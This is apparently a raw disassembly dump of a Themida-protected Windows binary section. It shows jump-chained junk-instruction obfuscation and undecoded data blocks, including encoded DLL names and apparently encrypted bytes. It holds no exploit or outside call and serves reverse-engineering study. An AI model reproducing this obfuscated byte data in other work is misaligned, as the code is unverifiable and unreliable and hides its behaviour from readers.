Themida_:005A01E0j ; Themida_:005A67F8j add edx, 4 jmp loc_5A1AE5 ; --------------------------------------------------------------------------- dd 0A0240481h, 5F51DB57h, 57A0EF81h, 8B5D51DBh, 0C4832404h dd 24148B04h, 0E904C483h, 145h ; --------------------------------------------------------------------------- loc_5AEC18: ; CODE XREF: Themida_:005993FCj jmp loc_5AB444 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0B3h dd 0E9FFFEB5h, 0CFh ; --------------------------------------------------------------------------- loc_5AEC28: ; CODE XREF: Themida_:005ACEDBj mov ecx, 5FA903A0h shr ecx, 6 xor ecx, 7295943Eh add edx, ecx mov ecx, [esp] add esp, 4 pop ebp jmp loc_59C912 ; --------------------------------------------------------------------------- db 68h dd 3AD3h, 0BB241C89h, 7F687310h, 0B4F68h, 24348900h, 597893BEh dd 5EF3296Dh, 6806EBC1h, 55BEh, 57243489h, 7B4A3BBFh, 5E7C131h dd 0E781D7F7h, 7B02644h, 0FFBB02E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEC85: ; CODE XREF: Themida_:005AAC93j add esi, 38682825h jmp loc_59E6CF ; --------------------------------------------------------------------------- loc_5AEC90: ; CODE XREF: Themida_:005A85B1j or ebx, 75B9602Fh xchg ecx, ebx not ecx xchg ecx, ebx xor ebx, 6DC41986h push edx jmp loc_5989BA ; --------------------------------------------------------------------------- dd 0FFFFFF2Dh, 6E8C1FFh, 3332840Fh, 0B951FFFFh, 25E97A6Fh dd 0D3E9D1F7h db 0DBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AECC3: ; CODE XREF: Themida_:0059C552j pop esi jmp loc_5AE8A8 ; --------------------------------------------------------------------------- loc_5AECC9: ; CODE XREF: Themida_:005AAD50j push ebx jmp loc_5AE09E ; --------------------------------------------------------------------------- loc_5AECCF: ; CODE XREF: Themida_:0059DB0Aj add ebp, 0F774A9B5h mov eax, ebp pop ebp mov edx, eax pop eax xor [esp+4], edx push dword ptr [esp] pop edx push eax jmp loc_5A50D9 ; --------------------------------------------------------------------------- db 29h, 0D0h, 5Ah dd 4055Fh, 56E90000h, 0BAFFFFB3h, 3BC53F98h, 67B0BD55h dd 0EA013A86h, 0E92434FFh, 0FFFFAF4Eh, 63ECC381h, 0C3E9F9A7h dd 55FFFF75h, 1E36B850h, 81501E0Fh, 5AB92404h, 3E90312h db 0AEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AED2B: ; CODE XREF: Themida_:005A26BEj push ebx mov bl, ch push ecx mov cl, bl jmp loc_5A6EA7 ; --------------------------------------------------------------------------- loc_5AED36: ; CODE XREF: Themida_:0059AED4j shl ebx, 5 jmp loc_59E051 ; --------------------------------------------------------------------------- dw 1C31h dd 0BC38E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AED46: ; CODE XREF: Themida_:00598419j xor esi, 0A820A029h mov ecx, esi mov esi, [esp] add esp, 4 push esi jmp loc_59ADB4 ; --------------------------------------------------------------------------- db 5, 80h, 0Bh dd 0F8013F55h, 5E9168h, 24148900h, 685C88BAh, 6B42E92Ch dd 0C87FFFFh, 4BC9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AED7E: ; CODE XREF: Themida_:loc_5985C3j ; Themida_:005AD2FEj mov bh, 82h shr bh, 8 js loc_5A7EB6 neg bh dec bh xor bh, 0D7h jle loc_5AEF85 jmp loc_59D7F2 ; --------------------------------------------------------------------------- loc_5AED9B: ; CODE XREF: Themida_:0059ECD7j xor ebx, edx pop edx xor ebx, 778BFBC2h jmp loc_59BC4B ; --------------------------------------------------------------------------- db 81h, 0C7h, 1Eh dd 0E91FFE51h, 0FFFF3DF9h ; --------------------------------------------------------------------------- loc_5AEDB4: ; CODE XREF: Themida_:005985BEj mov ecx, 3AAA4A2Eh mov edx, ecx pop ecx add ebx, edx jmp loc_5A07EB ; --------------------------------------------------------------------------- loc_5AEDC3: ; CODE XREF: Themida_:loc_5A3384j sub eax, 0E67B9BB1h mov ecx, eax mov eax, [esp] jmp loc_5A31C9 ; --------------------------------------------------------------------------- loc_5AEDD2: ; CODE XREF: Themida_:005AF318j mov esi, 53373DB6h and esi, 12205F81h jmp loc_5A5672 ; --------------------------------------------------------------------------- loc_5AEDE2: ; CODE XREF: Themida_:005AAD99j inc eax sub eax, 5842258Dh add edx, eax pop eax jmp loc_5AC568 ; --------------------------------------------------------------------------- loc_5AEDF0: ; CODE XREF: Themida_:005A4568j mov edi, 4 add eax, edi jmp loc_5A51DC ; --------------------------------------------------------------------------- loc_5AEDFC: ; CODE XREF: Themida_:005A2ECEj or edi, 6E891EE9h dec edi push eax mov eax, 1 sub edi, eax pop eax push ebx push esp pop ebx jmp loc_59F9B2 ; --------------------------------------------------------------------------- loc_5AEE14: ; CODE XREF: Themida_:005A0A3Ej xchg ecx, [esp] pop esp mov [esp], eax mov eax, 2ADB50D5h push 0 sub [esp], eax jmp loc_5A4A14 ; --------------------------------------------------------------------------- loc_5AEE2D: ; CODE XREF: Themida_:00598B21j pop eax dec ebx xor ebx, 55D5AE63h sub ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 415E6D59h pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] imul cx push edi jmp loc_59FBB7 ; --------------------------------------------------------------------------- db 5, 0F3h, 42h dd 8B0F475Dh, 0FFFEAEB4h, 41206405h, 0B6830F71h, 88FFFFEEh db 0F5h, 5Eh ; --------------------------------------------------------------------------- loc_5AEE72: ; CODE XREF: Themida_:0059B355j mov al, 51h xor al, dl jmp loc_59CEFF ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0EC81240Ch, 4, 89240C89h, 4C181E1h, 53000000h dd 4BBh, 8BD90100h, 69E9241Ch db 9Ah, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AEEA3: ; CODE XREF: Themida_:005A42F0j pop eax mov ebp, [esp] add esp, 4 push edi push eax mov eax, ecx mov edi, eax pop eax sub esp, 4 mov [esp], ecx push ebx mov ebx, edi jmp loc_5A388E ; --------------------------------------------------------------------------- db 5Ah, 81h, 0F2h dd 5C69089Ah, 0E95AD389h, 0FFFEF00Eh ; --------------------------------------------------------------------------- loc_5AEED4: ; CODE XREF: Themida_:005AF122j xor eax, 75862CF9h push edx jmp loc_5A2178 ; --------------------------------------------------------------------------- loc_5AEEDF: ; CODE XREF: Themida_:005A941Aj push edx mov edx, 3C2279BCh jmp loc_5A20A4 ; --------------------------------------------------------------------------- loc_5AEEEA: ; CODE XREF: Themida_:005A979Bj shr eax, 7 shr eax, 1 shr eax, 2 sub eax, 375D70h add ebp, eax pop eax sub ebp, 4 sub esp, 4 jmp loc_5AE238 ; --------------------------------------------------------------------------- loc_5AEF0B: ; CODE XREF: Themida_:0059E7F4j mov [esp], esi push 561701C2h pop esi shr esi, 7 sub esi, 3F7B2804h jge loc_59E4AE sub esp, 4 jmp loc_59DE7E ; --------------------------------------------------------------------------- db 5Ch dd 0FEA92CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEF31: ; CODE XREF: Themida_:005A0F38j sub ebx, 1000C09Bh and eax, ebx push dword ptr [esp] jmp loc_5A9E49 ; --------------------------------------------------------------------------- loc_5AEF41: ; CODE XREF: Themida_:005A11A8j not ecx sub ecx, 0AAF22ABh sub eax, ecx pop ecx jmp loc_59B7CB ; --------------------------------------------------------------------------- loc_5AEF51: ; CODE XREF: Themida_:loc_5A5D9Ej ; Themida_:005AAD0Aj add edx, 0C757B78h jbe loc_5A6962 xor edx, 2DD67E54h mov eax, edx jmp loc_5999B8 ; --------------------------------------------------------------------------- loc_5AEF6A: ; CODE XREF: Themida_:0059D4D6j mov edx, esp jmp loc_5A9B0F ; --------------------------------------------------------------------------- db 81h, 0E1h, 1Dh dd 0F435528h, 0FF95558Ah, 4E9C1FFh, 0FFF714E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEF85: ; CODE XREF: Themida_:005AD75Bj ; Themida_:005AED90j mov ebx, 4B7D7A9Bh xor ebx, 0B4828564h jmp loc_5A6406 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 83h dd 0BF5701C3h, 77623554h, 0E95FFB09h, 0FFFFA8ECh ; --------------------------------------------------------------------------- loc_5AEFA8: ; CODE XREF: Themida_:005A0BFEj xchg edx, ebp jmp loc_5A0E21 ; --------------------------------------------------------------------------- loc_5AEFAF: ; CODE XREF: Themida_:005AC1EEj mov ecx, esp add ecx, 4 jmp loc_5A6CA2 ; --------------------------------------------------------------------------- dd 6837E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AEFC2: ; CODE XREF: Themida_:0059B49Bj pop esp jmp loc_5AC94A ; --------------------------------------------------------------------------- loc_5AEFC8: ; CODE XREF: Themida_:005AB39Dj add dl, bh pop bx neg dl add dl, 42h not dl sub dl, 37h or ch, dl pop edx jmp loc_5AD438 ; --------------------------------------------------------------------------- loc_5AEFDE: ; CODE XREF: Themida_:005A3C78j ; Themida_:005A6606j push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A1835 ; --------------------------------------------------------------------------- loc_5AEFED: ; CODE XREF: Themida_:005AB62Fj and edx, 389443D8h add edx, 0F4C969C2h and edi, edx mov edx, [esp] push 504Fh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_59A25A ; --------------------------------------------------------------------------- loc_5AF013: ; CODE XREF: Themida_:005A9060j push ecx mov ecx, esp jmp loc_59B88F ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 23F1h, 54243489h, 5E2434FFh, 81E78957h, 4C7h dd 4C78100h, 0E9000000h, 0FFFF3767h ; --------------------------------------------------------------------------- loc_5AF040: ; CODE XREF: Themida_:0059F845j ; Themida_:005AE231j push edx mov dl, 32h shl dl, 6 xor dl, 87h push eax mov al, 59h jmp loc_5A950D ; --------------------------------------------------------------------------- loc_5AF051: ; CODE XREF: Themida_:0059CBF0j not dh jmp loc_5AB550 ; --------------------------------------------------------------------------- loc_5AF058: ; CODE XREF: Themida_:00599EFCj jl loc_599334 xor esi, 22EC2184h mov [edx+30h], esi mov esi, [esp] add esp, 4 jmp loc_5AC2EB ; --------------------------------------------------------------------------- loc_5AF075: ; CODE XREF: Themida_:005A4E64j push ebp jmp loc_5AA599 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9F76h ; --------------------------------------------------------------------------- loc_5AF080: ; CODE XREF: Themida_:005A3263j xor dh, 0B2h jmp loc_5A7F76 ; --------------------------------------------------------------------------- loc_5AF088: ; CODE XREF: Themida_:00598A52j sub cl, 31h add cl, 64h sub cl, ah sub cl, 64h jmp loc_5A63FA ; --------------------------------------------------------------------------- loc_5AF098: ; CODE XREF: Themida_:005A599Fj push 0C46h mov [esp], esp jmp loc_5AAF0A ; --------------------------------------------------------------------------- loc_5AF0A5: ; CODE XREF: Themida_:0059E83Bj pop esp mov [esp], cx mov ch, bh jmp loc_5AF58E ; --------------------------------------------------------------------------- loc_5AF0B1: ; CODE XREF: Themida_:005A76C8j jmp loc_59838C ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 4C4815Ch db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A8514 ; --------------------------------------------------------------------------- loc_5AF0CB: ; CODE XREF: Themida_:005A30B7j xor edi, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_59DCEA ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 0E9000000h, 0FFFFBA0Ch, 4C5835Eh, 0E9242C87h dd 0FFFF4E51h ; --------------------------------------------------------------------------- loc_5AF0F4: ; CODE XREF: Themida_:005A5EA9j push edi mov edi, 4 sub ebp, 0B640564h sub ebp, edi add ebp, 0B640564h jmp loc_5A3FC5 ; --------------------------------------------------------------------------- loc_5AF10D: ; CODE XREF: Themida_:0059C5A3j ; Themida_:005A5D65j xor edi, 6FD54227h add eax, edi pop edi jmp loc_5991AB ; --------------------------------------------------------------------------- loc_5AF11B: ; CODE XREF: Themida_:005A5755j push ebp push eax mov eax, 6B9820E2h jmp loc_5AEED4 ; --------------------------------------------------------------------------- loc_5AF127: ; CODE XREF: Themida_:005ACBB3j xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi jmp loc_5AC250 ; --------------------------------------------------------------------------- loc_5AF13B: ; CODE XREF: Themida_:005A86A1j add esi, 0FCFF6C5Ch xor edx, esi pop esi xor eax, edx pop edx jmp loc_5AD7F3 ; --------------------------------------------------------------------------- loc_5AF14C: ; CODE XREF: Themida_:0059A47Aj jmp loc_5A5F47 ; --------------------------------------------------------------------------- loc_5AF151: ; CODE XREF: Themida_:005A66D0j add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, 0BA5CACh or ebp, edi mov edi, [esp] add esp, 4 sub ebp, 0FE5CFBh add eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_59A04E ; --------------------------------------------------------------------------- loc_5AF185: ; CODE XREF: Themida_:005A5428j add esi, 4 add esi, 4 push 1FE8h mov [esp], esi push dword ptr [esp+4] jmp loc_5A06DB ; --------------------------------------------------------------------------- dw 8159h dd 0EA43DAE7h, 0B9820F13h, 0C1FFFFBFh, 0BD5505E7h, 1CBB702Ch dd 0FF2EABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF1BD: ; CODE XREF: Themida_:loc_5AA221j neg esi jz loc_5A6493 shl esi, 4 jmp loc_59FE36 ; --------------------------------------------------------------------------- loc_5AF1CD: ; CODE XREF: Themida_:005A9749j mov edx, esp push ecx jmp loc_5A4260 ; --------------------------------------------------------------------------- loc_5AF1D5: ; CODE XREF: Themida_:0059DEDDj ; Themida_:loc_5AB2C7j add esp, 4 add esi, 4 jmp loc_59B271 ; --------------------------------------------------------------------------- db 29h dd 0C20BE9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF1EA: ; CODE XREF: Themida_:005ADBD8j sub ebx, 60855C3Fh add ebx, edi add ebx, 60855C3Fh jmp loc_5A2B61 ; --------------------------------------------------------------------------- loc_5AF1FD: ; CODE XREF: Themida_:005AC282j push dword ptr [esp] jmp loc_5A3E9F ; --------------------------------------------------------------------------- loc_5AF205: ; CODE XREF: Themida_:0059D7A2j ; Themida_:005A16F7j ... push edx mov edx, 5BD461D8h sub edi, 4741574Fh add edi, edx add edi, 4741574Fh pop edx jmp loc_5A575A ; --------------------------------------------------------------------------- loc_5AF21F: ; CODE XREF: Themida_:0059CF63j push eax push dword ptr [esp+4] pop eax jmp loc_59C602 ; --------------------------------------------------------------------------- loc_5AF22A: ; CODE XREF: Themida_:005ACBE4j push esi jmp loc_5A23D3 ; --------------------------------------------------------------------------- loc_5AF230: ; CODE XREF: Themida_:005A47CBj xor edi, [esp] xor [esp], edi jmp loc_5AD966 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2EEB8100h, 109F763h, 2EC381C3h, 8B09F763h, 0C4812404h dd 4, 0FEB18BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF25D: ; CODE XREF: Themida_:005A3F74j xchg ecx, [esp] pop esp push ecx push esi push 6C46h mov [esp], edx push 1B731FCBh jmp loc_5A7C89 ; --------------------------------------------------------------------------- loc_5AF275: ; CODE XREF: Themida_:005A1546j jns loc_59B387 dec ah jle loc_5A7143 mov ch, bl add esp, 4 add edi, 4 jmp loc_59863C ; --------------------------------------------------------------------------- loc_5AF293: ; CODE XREF: Themida_:005A6132j shl edx, 6 js loc_5AAD03 inc edx jle loc_5AD4AD mov edi, ebx sub al, 8Dh loc_5AF2A7: ; CODE XREF: Themida_:005A4904j sub ebx, 5AA75DF3h add ebx, 7A60009Eh jmp loc_59A67C ; --------------------------------------------------------------------------- loc_5AF2B8: ; CODE XREF: Themida_:005AD3E8j add esp, 4 sub eax, 0FFFFFFFFh xor eax, 61153144h sub edi, 0F1B2120h jmp loc_59AAA4 ; --------------------------------------------------------------------------- loc_5AF2CE: ; CODE XREF: Themida_:005A5D2Ej add esp, 4 add al, cl push edx jmp loc_598715 ; --------------------------------------------------------------------------- dd 0E95BDD89h, 0FFFF9F1Fh ; --------------------------------------------------------------------------- loc_5AF2E4: ; CODE XREF: Themida_:005A24EAj push ebp mov ebp, 1D95653Ah dec ebp shr ebp, 3 jmp loc_59A1A0 ; --------------------------------------------------------------------------- loc_5AF2F3: ; CODE XREF: Themida_:0059EC97j sub bl, cl pop ecx push edx push ebp mov ebp, 63675EC4h or ebp, 3306324Bh jmp loc_5AF4D9 ; --------------------------------------------------------------------------- dd 4803E0C1h, 0FF8F7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF311: ; CODE XREF: Themida_:005A5286j jns loc_5A10EB push ebx jmp loc_5AEDD2 ; --------------------------------------------------------------------------- db 5Bh, 0FEh, 0CAh dd 0C8B665Ch, 788A6824h, 0FEE90000h, 57FFFF24h, 4BFh, 0BC28100h dd 500C9604h, 452CBF57h, 0DFF77B49h, 7C53B850h, 0D90542E5h dd 19D1F27h, 314E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF356: ; CODE XREF: Themida_:005A46BEj xor al, 9 mov ch, al pop eax push eax mov al, 0D1h push small 0 sub [esp], al jmp loc_5ADC7C ; --------------------------------------------------------------------------- loc_5AF36A: ; CODE XREF: Themida_:005AC9A5j mov ecx, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_59CA19 push ecx push 28h pop ecx push 0F39h mov [esp], edi jmp loc_59A6DC ; --------------------------------------------------------------------------- loc_5AF392: ; CODE XREF: Themida_:005994D0j sub esp, 4 push esp pop dword ptr [esp] push edi push ecx mov ecx, 3F8C784Bh shl ecx, 6 jp loc_5A2AFB add ecx, 1CE1ED44h mov edi, ecx mov ecx, [esp] xor al, 0A1h mov edi, ebx loc_5AF3B8: ; CODE XREF: Themida_:005AD406j push 15DFh mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_5ACB24 ; --------------------------------------------------------------------------- loc_5AF3CB: ; CODE XREF: Themida_:005AEA1Ej mov esi, esp jmp loc_59C7E4 ; --------------------------------------------------------------------------- loc_5AF3D2: ; CODE XREF: Themida_:005A4493j pop dword ptr [esp] mov esp, [esp] jmp loc_5AD24B ; --------------------------------------------------------------------------- loc_5AF3DD: ; CODE XREF: Themida_:005A3CD2j xor edi, ebx jmp loc_599088 ; --------------------------------------------------------------------------- loc_5AF3E4: ; CODE XREF: Themida_:005A0A65j add esi, 503CE251h mov eax, esi jmp loc_5A35DF ; --------------------------------------------------------------------------- loc_5AF3F1: ; CODE XREF: Themida_:005A4249j add ecx, ebx pop ebx jmp loc_59AD63 ; --------------------------------------------------------------------------- loc_5AF3F9: ; CODE XREF: Themida_:0059F8A5j sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_599EBE ; --------------------------------------------------------------------------- db 52h, 0E9h, 52h dd 68FFFF11h, 686034EBh, 0AC054058h, 354E4346h, 8263043Dh dd 0FF886BE9h, 3FD82DFFh, 0BE560B63h, 2E8E1468h, 7813B951h dd 0F1814154h, 724531A5h, 8159CE29h, 0F0440FC6h, 5EF02942h dd 0FE95E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF459: ; CODE XREF: Themida_:005A35CCj push esp pop ecx push ebx mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push esp pop edx add edx, 4 push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 xchg edx, [esp] jmp loc_59D73A ; --------------------------------------------------------------------------- loc_5AF497: ; CODE XREF: Themida_:005AA364j xchg bl, [esp+1] pop ax jmp loc_59D16C ; --------------------------------------------------------------------------- loc_5AF4A2: ; CODE XREF: Themida_:005A6352j mov esp, [esp] shr eax, 10h xor eax, ecx push 585Ch jmp loc_5A3350 ; --------------------------------------------------------------------------- loc_5AF4B4: ; CODE XREF: Themida_:005AA15Ej pop ebp sub esp, 4 jmp loc_5A7FB5 ; --------------------------------------------------------------------------- loc_5AF4C0: ; CODE XREF: Themida_:005A3259j not dh inc dh jmp loc_59A979 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 0FFBF2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF4D1: ; CODE XREF: Themida_:0059A3C6j mov ebp, [esp] jmp loc_5AA369 ; --------------------------------------------------------------------------- loc_5AF4D9: ; CODE XREF: Themida_:005AF303j push 0FB0h mov [esp], esi push 1B175AFh jmp loc_5A0C58 ; --------------------------------------------------------------------------- loc_5AF4EB: ; CODE XREF: Themida_:005A1857j mov dx, [esp] push 70FEh mov [esp], eax jmp loc_5AE6E3 ; --------------------------------------------------------------------------- dd 5304EB83h, 42474FFh, 24048F5Bh, 3B3CE95Ch, 0C481FFFFh dd 4, 0FFD4ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF519: ; CODE XREF: Themida_:005A4397j push eax mov al, cl mov bh, al pop eax pop ecx inc bh jz loc_5AD73C jmp loc_59CC55 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 0E924048Bh, 0FFFF2E84h ; --------------------------------------------------------------------------- loc_5AF53C: ; CODE XREF: Themida_:005AD20Bj sub edx, 35EE7308h mov ebx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AF54D: ; CODE XREF: Themida_:00599858j push edx mov edx, 442E49E6h add edx, 42F90AA9h add edx, 325B35D7h shl edx, 8 dec edx xor edx, 0A971776Ah mov ecx, edx pop edx jmp loc_59EF18 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0E8290000h, 76302Dh, 0DBE95D5Ch db 8Eh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AF587: ; CODE XREF: Themida_:00599505j add ebx, esi jmp loc_5A48ED ; --------------------------------------------------------------------------- loc_5AF58E: ; CODE XREF: Themida_:005AF0ACj not ch jmp loc_5A430A ; --------------------------------------------------------------------------- db 0E8h, 0Ah, 0 dd 6ECC0000h, 101E5394h, 2923B216h, 5C87F381h, 565A32BFh dd 10E9h, 0E6AB1600h, 3A6BB97Ah, 197E4175h, 5004EDB1h dd 0C2815867h, 6750h, 25699D0Bh, 0F63307E4h, 9E9h, 8630A200h dd 93E091CEh, 34FF1AC3h, 14E916h, 46C30000h, 0B4195B80h dd 0C64621E8h, 0A18F149Ch, 0C4D34EDh, 8B5F1A5Dh, 0E400419Dh dd 7EF78107h, 8B72A6E7h, 0E4183D85h, 0EAC78107h, 0E93A8819h dd 6, 0C8219241h, 0F7810518h, 0F838136h, 130AB866h, 50323C89h dd 15B1852Bh, 295907E4h, 0E41F959Dh, 3EE8307h, 5F99D31h dd 0E94E07E4h, 0Ch, 8395C814h, 42FA809Fh, 8B07218Bh, 9974FE81h dd 850FFFFFh, 0FFFFFF7Eh, 62E968B4h, 0F8000000h, 551489D7h dd 33524553h, 6C642E32h, 4441006Ch, 49504156h, 642E3233h dd 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 207D800h, 1A000200h dd 37000400h, 95002800h, 3, 0Ah dup(0) dd 929E900h, 49680000h, 0E907E6D3h, 0FFFDABAFh, 0E6D3B868h dd 0ABA5E907h, 0FF68FFFDh, 0E907E6D4h, 0FFFDAB9Bh, 0E6D66168h dd 0AB91E907h, 0EE68FFFDh, 0E907E6D6h, 0FFFDAB87h, 0E6D80868h dd 0AB7DE907h, 7C68FFFDh, 0E907E6D8h, 0FFFDAB73h, 51E507DFh dd 0AE42623Bh, 0EA2BC98h, 710519F8h, 0D064805Bh, 7D58F1F7h dd 0DDB7CD61h, 37152BBFh, 9A778D21h, 8B3BEE82h, 0A472690Eh dd 11A0E513h, 0B84C445h, 8D653A3h, 0D713A68Ch, 0B5415F39h dd 0EA85BDDBh, 4E89F9D8h, 0AED159D1h, 16212A83h, 0CA7CCD8Ch dd 5DAD018Eh, 68805DFBh, 0FC2E06FDh, 0F774D4F5h, 0F5FC2E00h dd 0FA0C65CEh, 2F419F1Ch, 0AF0FF218h, 0E0304D32h, 14A009FDh dd 48E31B3Bh, 0AFE0B7EFh, 3611AFFFh, 0AD2A081Ah, 0FA040B0Eh dd 41A3F35Ch, 76AEC6A3h, 0D2AFC9DBh, 331026BAh, 0A8AA8714h dd 0C29E1B81h, 7CD570A8h, 89DA581Ch, 6EC7D4B5h, 76D9511Ah dd 38BEFE80h, 766h, 11A5C79Fh, 6E0222FBh, 0CE627C58h, 31C5D9B8h dd 9024401Bh, 3D1831B7h, 9D778D21h, 0F7D5EB7Fh, 5A374DE1h dd 4BFBAE42h, 0A47329CEh, 0D160A513h, 29617956h, 21713D52h dd 2A4621BFh, 4C4557F2h, 13A47153h, 0E44696FFh, 0F2526846h dd 9B062C29h, 7B95A729h, 9937879Dh, 6F91A3BDh, 2D657B59h dd 166A825Fh, 6A16DF5Fh, 0F73EC404h, 0E000006h, 6A801436h dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A47346h dd 5640CF14h, 5B296179h, 0EA2E667Eh, 0F7188AECh, 0EF182035h dd 6916ED58h, 5BC41442h, 0C4F8AC49h, 0E05B543Bh, 2E6EB5Dh dd 3345C9B5h, 79B1CBA7h, 672DCCDEh, 4D000000h, 0A8BAD2AFh dd 617956D3h, 7A55F3CDh, 77774C5Eh, 1442A084h, 861A320Fh dd 1A300EACh, 4AAE508h, 0D2F337B4h, 51C113A6h, 1EFB908Ch dd 7FEDA606h, 0F290E039h, 0D5EFCB14h, 0E98E0B9Dh, 6513A67Dh dd 0FA4AA3FCh, 31697D5Ch, 4C628496h, 6A08586Eh, 9E397191h dd 3740C68Ch, 0C6000006h, 7D10E764h, 55BE13A6h, 79566E43h dd 3D522961h, 3AA42171h, 5813A6BDh, 25019FEFh, 2638D30Bh dd 0F911EE04h, 65494665h, 899C7715h, 0A6BE770Ch, 217AE313h dd 5E3C4EE9h, 406FF5E1h, 0E6369F14h, 968BE174h, 0CB669EBCh dd 0E754116Bh, 7B59F7D5h, 3D0AF16Eh, 58C81B88h, 9A6121B8h dd 0B3035C19h, 88E04136h, 4BA40D1Bh, 0ADC3A1B7h, 97E2BF5Dh dd 0CB669EBEh, 0CC9A6072h, 0FC83D7EFh, 7B6232D6h, 5B0B53Bh dd 7D550000h, 0D8B1C75Bh, 320E24B8h, 8F6E8418h, 0F6D1E77Bh dd 876D46DAh, 43D7F3CEh, 0A135532Dh, 397AD8Bh, 64F810EDh dd 0FF8401B1h, 5B13A474h, 79568716h, 7E5B2961h, 86602E66h dd 0E8415735h, 0EF03E2B0h, 0AED653B7h, 6323E0E2h, 42A26F1Dh dd 8560FE14h, 2B963169h, 1442A254h, 0CC499902h, 1442A237h dd 94E13AA3h, 0E05C0F6Ah, 0FFFEBE69h, 0F49292FFh, 9472FE18h dd 75526C7Eh, 2193255Dh, 0CC2DA9F2h, 0CDB22FF4h, 89144217h dd 92B5C720h, 0E461B1FDh, 13A61AFAh, 81CFB99h, 5EAE17F6h dd 65F87FFCh, 0ED5613A6h, 0F59AB9DBh, 6EC69B9h, 0D5144245h dd 30425A37h, 3B0E851h, 1B8A4579h, 0D487BFD0h, 19E78862h dd 52ED253Bh, 0C4D0E0F2h, 7E00BD64h, 4A5C6560h, 93BB906Fh dd 1B545D0h, 456E0000h, 0A30B84C4h, 8C08D653h, 75D713A6h dd 0A68C03F8h, 0A1B59413h, 147DCE69h, 0B1BA2302h, 2F4523C1h dd 90B2241Dh, 0F39CCA7Ch, 90EE6BBBh, 5EF218E8h, 2907A5F5h dd 2CD81B0Ch, 0E43D54E5h, 39FF11ACh, 31812D62h, 3BAD52CFh dd 0C029FDE0h, 7453D0AEh, 2FA0400h, 0CEAB4999h, 548CA883h dd 0AE1060B9h, 0C4774A31h, 4F9F08E5h, 0C4772DD2h, 2E40A9E5h dd 119F60Ch, 763FDCADh, 0E96FAF80h, 44Eh, 29BDDFB7h, 861A3A13h dd 0E67A9470h, 49DDF1D0h, 0A83C5833h, 553029CFh, 0B58FA539h dd 0FED0397h, 724F65F9h, 6313C65Ah, 0A47611E6h, 0E978BD13h dd 1C6C424Dh, 798B9F7Eh, 5AD7399Bh, 1442A0A5h, 0C6FE1CF6h dd 0FD7ADA2Bh, 1442A006h, 86126BD4h, 0BB568EACh, 7137B0A9h dd 0DE7C13A4h, 1996E604h, 13A47262h, 967587F0h, 663FDD2Dh dd 0B8563446h, 82B1BDDAh, 0EA41A224h, 9E7FD91h, 10EDBBF3h dd 16EFA4F8h, 70B06A17h, 3C1EAh, 4A6C4400h, 0A7C7A0B6h dd 721FD13h, 6A7E5D73h, 0C9E5C0D6h, 0BD965C35h, 1C32C6E2h dd 7A902442h, 0DCF2869Ch, 0A053E7FFh, 768C73F0h, 54A13A4h dd 0DB209276h, 0EA031491h, 22FF192Bh, 2704D20Ah, 2C09D70Fh dd 8D3ADC14h, 1A43FAB5h, 0B6CEAB37h, 6A1A9D7Eh, 44CDB22Fh dd 20891442h, 65C7C5C7h, 424413E8h, 656BF14h, 4244F289h dd 0E5F76014h, 0B4421C48h, 1A144246h, 14EB68CAh, 0C2144246h dd 926C4759h, 41E05B2Bh, 0FFFFFCB3h, 6179566Ah, 713D5229h dd 0A31AAF21h, 0BEACDC71h, 0FB51CEACh, 7913A6E6h, 92AB7C10h dd 0C4FC1AF4h, 0B8EC1729h, 0F5456926h, 0B284DF83h, 0B95CBCD6h dd 815F71B7h, 0A6BE5604h, 929B0413h, 0F2704A2h, 312A3CD7h dd 0BBB18D54h, 